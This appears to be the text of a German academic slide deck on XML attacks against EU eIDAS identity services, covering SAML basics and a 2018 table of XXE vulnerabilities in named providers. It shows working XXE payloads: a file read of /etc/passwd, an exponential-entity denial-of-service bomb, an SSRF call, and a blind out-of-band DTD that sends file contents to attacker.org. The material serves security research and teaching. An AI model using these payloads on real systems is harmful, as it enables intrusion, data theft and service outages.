

XML-Angriffe auf eID-Dienste

Nils Engelbertz, Nurullah Erinola, David Herring, Juraj Somorovsky, Vladislav Mladenov, Jörg Schwenk

Ruhr-Universität Bochum

XML-Angriffe auf eID-Dienste

- eID – electronic Identity

XML-Angriffe auf eID-Dienste


- eID – electronic Identity



Bildnachweis: [personalausweisportal.de](https://www.personalausweisportal.de)


XML-Angriffe auf eID-Dienste

- eID – electronic Identity
 - Starke (2FA) Authentifizierung in elektronischen Transaktionen




XML-Angriffe auf eID-Dienste

- eID – electronic Identity
 - Starke (2FA) Authentifizierung in elektronischen Transaktionen



XML-Angriffe auf eID-Dienste

- eID – electronic Identity
 - Starke (2FA) Authentifizierung in elektronischen Transaktionen




➔ eIDAS

electronic Identification, Authentication, and Trust Services

XML-Angriffe auf eID-Dienste

- eID – electronic Identity
 - Starke (2FA) Authentifizierung in elektronischen Transaktionen



eIDAS


electronic Identification, Authentication, and Trust Services

EU-weite Anerkennung
nationaler eID Systeme



XML-Angriffe auf eID-Dienste

- eID – electronic Identity
 - Starke (2FA) Authentifizierung in elektronischen Transaktionen



eIDAS

electronic Identification, Authentication, and Trust Services

EU-weite Anerkennung nationaler eID Systeme




SAML-basierter Framework




XML-Angriffe auf eID-Dienste

- eIDAS Authentifizierung




XML-Angriffe auf eID-Dienste

- eIDAS Authentifizierung



XML-Angriffe auf eID-Dienste

- eIDAS Authentifizierung



XML-Angriffe auf eID-Dienste

XML External Entity

XSLT Attack

Signature Exclusion

Replay Attacks

Recipient Confusion

Certificate Faking

Signature Wrapping

Certificate Injection

ACS Spoofing

Open Redirect

Covert Redirect

Cross-site-scripting

CSRF Attacks

Insecure HTTP Session

Insecure TLS Session

XML-Angriffe auf eID-Dienste

XML External Entity

XSLT Attack

Signature Exclusion

Replay Attacks

Recipient Confusion

Certificate Faking

Signature Wrapping

Certificate Injection

ACS Spoofing

Open Redirect

Covert Redirect

Cross-site-scripting

CSRF Attacks

Insecure HTTP Session

Insecure TLS Session

XML-Angriffe auf eID-Dienste




Attacker

```
<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY send SYSTEM "http://attacker.org/evil">
]>
<data>&send;</data>
```



Vulnerable Endpoint



XML-Angriffe auf eID-Dienste



Attacker


```
<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY send SYSTEM "http://attacker.org/evil">
]>
<data>&send;</data>
```



GET http://attacker.org/evil HTTP/1.1



Vulnerable Endpoint



XML-Angriffe auf eID-Dienste



Attacker


```
<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY send SYSTEM "http://attacker.org/evil">
]>
<data>&send;</data>
```



GET http://attacker.org/evil HTTP/1.1



Vulnerable Endpoint



“Server-Side-Request-Forgery (SSRF)”
(vereinfachte Darstellung)

XML-Angriffe auf eID-Dienste

✓ = Gesichert
 ✗ = Angreifbar

eIDAS Provider	DoS	SSRF	Dateizugriff
eIDAS Pilot Sweden	✗	✗	✗
eIDAS Pilot Belgium	✓	✓	✓
eIDAS Pilot Czech Republic	✓	✓	✓
eIDAS Pilot Denmark	✗	✗	✗
eIDAS Pilot Estonia	✓	✓	✓
eIDAS Pilot France	✓	✓	✓
eIDAS Pilot Norway	✓	✓	✓
ArubaPEC S.p.A	✓	✓	✓
Intesa S.p.A	✗	✗	✓
InfoCert S.p.A	✗	✗	✗
Namirial	✗	✗	✗
Poste Italiane S.p.A	✗	✗	✓
Register.it S.p.A	✗	✗	✗
Sielte S.p.A	✓	✓	✓
TI Trust Technologies (TIM)	✓	✓	✓
Summe (Verwundbar)	7/15	7/15	5/15

XXE
 Schwachstellen
 in
 eIDAS-Providern
 (2018)

XML-Angriffe auf eID-Dienste

✓ = Gesichert
 ✗ = Angreifbar

eIDAS Provider	DoS	SSRF	Dateizugriff
eIDAS Pilot Sweden	✗	✗	✗
eIDAS Pilot Belgium	✓	✓	✓
eIDAS Pilot Czech Republic	✓	✓	✓
eIDAS Pilot Denmark	✗	✗	✗
eIDAS Pilot Estonia	✓	✓	✓
eIDAS Pilot France	✓	✓	✓
eIDAS Pilot Norway	✓	✓	✓
ArubaPEC S.p.A	✓	✓	✓
Intesa S.p.A	✗	✗	✓
InfoCert S.p.A	✗	✗	✗
Namirial	✗	✗	✗
Poste Italiane S.p.A	✗	✗	✓
Register.it S.p.A	✗	✗	✗
Sielte S.p.A	✓	✓	✓
TI Trust Technologies (TIM)	✓	✓	✓
Summe (Verwundbar)	7/15	7/15	5/15

Vielen Dank für Ihre Aufmerksamkeit!

XXE
 Schwachstellen
 in
 eIDAS-Providern
 (2018)

Verweise

- [Security Analysis of eIDAS – The Cross-Country Authentication Scheme in Europe](#)
- <https://www.futuretrust.eu/>
 - [Evaluation of eID and Trust Services](#)
- [XXE-Cheat-Sheet](#)
- [OWASP XXE Prevention Cheat-Sheet](#)
- [eIDAS Verordnung \(EU Regulation 910/2014 \)](#)
- eIDAS eID-Profil:
 - <https://ec.europa.eu/cefdigital/wiki/display/CEFDIGITAL/eIDAS+Profile>
 - Interoperability Architecture, Crypto Requirements, eIDAS Message format / SAML Attribute Profile

Appendix – Q&A

XML

- XML: **eXtensible Markup Language**
 - Textbasiertes Format zur Beschreibung hierarchisch strukturierter Daten
 - *“wie HTML, aber erweiterbar & mit strenger Syntax”*
 - Document Type Definition (DTD) kann Struktur und legale Elemente deklarieren
 - auch intern, innerhalb eines `<!DOCTYPE [...]>`

```
<?xml version="1.0"?>
<!DOCTYPE user [
  <!ELEMENT user (name,role)>
  <!ELEMENT name (#PCDATA)>
  <!ELEMENT role (#PCDATA)>
]>
<user>
  <name>Bob</name>
  <role>admin</role>
</user>
```

XML External Entities

- Example 0:
 - (Internal) XML Entity

```
1. <!DOCTYPE data [  
2.   <!ENTITY name "Bob">  
3. ]>  
4. <data>Hello, &name;!</data>
```



```
1. <data>Hello, Bob!</data>
```


XML External Entities

- Example 1:
 - (Internal) XML Entity:
Exponential Entity Expansion
 - “XML-Bomb”

```
<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY dos " DoS-DoS-DoS ">
  <!ENTITY a "&dos;&dos;&dos;&dos;&dos;">
  <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;">
  <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;">
]>
<data>&c;&c;&c;&c;&c;&c;&c;&c;...</data>
```



Denial-of-Service (200 Byte -> 3.5 GB)



XML External Entities

- Example 2:
 - External Entity, direct feedback channel

Submit to vulnerable endpoint

```
<!DOCTYPE data [  
<!ENTITY file SYSTEM "file:///etc/passwd">  
>  
<data>&file;</data>
```



```
<data>root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
...  
</data>
```


XML External Entities

- Example 3:
 - Parameter Entity, file access via HTTP backchannel (OOB / Blind XXE)


Submit to vulnerable endpoint

```
<!DOCTYPE data [  
  <!ENTITY % extern SYSTEM "http://attacker.org/ext.dtd">  
  %extern;  
>  
<data>&send;</data>
```

Serve from
<http://attacker.org/ext.dtd>

```
<!ENTITY % file SYSTEM "file:///etc/passwd">  
<!ENTITY % tmp "<!ENTITY send SYSTEM  
  'http://attacker.org?f=%file;'>">  
%tmp;
```

eIDAS Authentifizierung



SAML


- Security Assertion Markup Language
 - XML-basiertes Format, z.B. zum sicheren Austausch v. Authentifizierungs-Informationen


SAML Authentication Token

- eIDAS:
 - <Response> MUST be signed,
 - <Assertion> MUST be encrypted

```
<saml:Response ID="456">
  <ds:Signature>
    <ds:Reference URI="#456">
    </ds:Reference>
    ...
  </ds:Signature>
  <saml:Assertion>
    <saml:Issuer>GermanIdP.com</saml:Issuer>
    <saml:Subject>
      <saml:NameID>Bob@GermanIdP.com</saml:NameID>
    </saml:Subject>
    <saml:Conditions
      NotBefore="2019-01-21T14:42:00Z"
      NotOnOrAfter="2019-01-21T14:47:00Z">
      <saml:AudienceRestriction>
        <saml:Audience>GermanSP.com</saml:Audience>
      </saml:AudienceRestriction>
    </saml:Conditions>
  </saml:Assertion>
</saml:Response>
```

SAML-based Single Sign-On





Sicherheitsanalyse von SAML

<https://github.com/RUB-NDS/BurpSSOExtension>

- DTD/XXE (Manuell & Intruder)
- Signature Exclusion
- Signature Faking
- Signature Wrapping

18 parametrisierbare
XXE-Testvektoren

Recursive Entities: 4
Entity References: 10
Adjust

Target File: file:///etc/hostname
3. Parameter configuration
Helper-URL: http://publicServer.com/helpe
Attacker Listener: http://publicServer.com/

Select DTD:
Classic XXE Attack
● SYSTEM ○ PUBLIC 1. Choose DTD
Selected DTD: Enable editing Auto modify

```
<!DOCTYPE data [  
<!ENTITY dos SYSTEM "http://publicServer.com/" >  
>  
<data>&dos;</data>
```


2. Selected DTD

Encoding:
○ UTF-7
● UTF-8 4. Encoding of the DTD
○ UTF-16

Description:
The idea of this attack is to force the parser to call arbitrary URLs.


5. Apply attack to message
Modify

Terminologie – eIDAS-Node



Vgl. [“eIDAS Interoperability Architecture v1.0”](#)

eIDAS Connector



Vgl. [“eIDAS Interoperability Architecture v1.0”](#)